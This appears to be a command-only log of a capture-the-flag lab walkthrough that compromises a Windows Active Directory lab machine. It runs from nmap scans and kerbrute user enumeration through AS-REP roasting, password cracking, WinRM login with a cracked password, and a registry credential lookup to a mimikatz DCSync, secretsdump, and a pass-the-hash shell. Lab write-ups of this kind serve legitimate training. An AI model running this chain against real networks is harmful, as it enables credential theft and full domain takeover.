sudo nmap -p- -n --open -v 10.10.10.175

PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49695/tcp open  unknown
49716/tcp open  unknown

rpcclient -U "" -N 10.10.10.175

smbclient --no-pass -L //10.10.10.175 

nmap -n -sV --script "ldap* and not brute" 10.10.10.175

./kerbrute_linux_amd64 userenum -d EGOTISTICAL-BANK.LOCAL --dc 10.10.10.175 /home/wuerror/Documents/SecLists-2021.3.1/Usernames/xato-net-10-million-usernames.txt 

impacket-GetNPUsers -no-pass -dc-ip 10.10.10.175 EGOTISTICAL-BANK.LOCAL/fsmith

john --wordlist=/usr/share/wordlists/rockyou.txt fsmith.txt
john --show fsmith.txt

evil-winrm -u fsmith -p Thestrokes23 -i 10.10.10.175 

net user

Import-Module .\PrivescCheck.ps1
Invoke-PrivescCheck

reg.exe query "HKLM\software\microsoft\windows nt\currentversion\winlogon"

.\mimikatz 'lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:administrator' exit

impacket-secretsdump -just-dc svc_loanmgr@10.10.10.175

impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e -dc-ip 10.10.10.175 administrator@10.10.10.175 

Get-ObjectAcl -DistinguishedName "DC=EGOTISTICAL-BANK,DC=LOCAL" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')}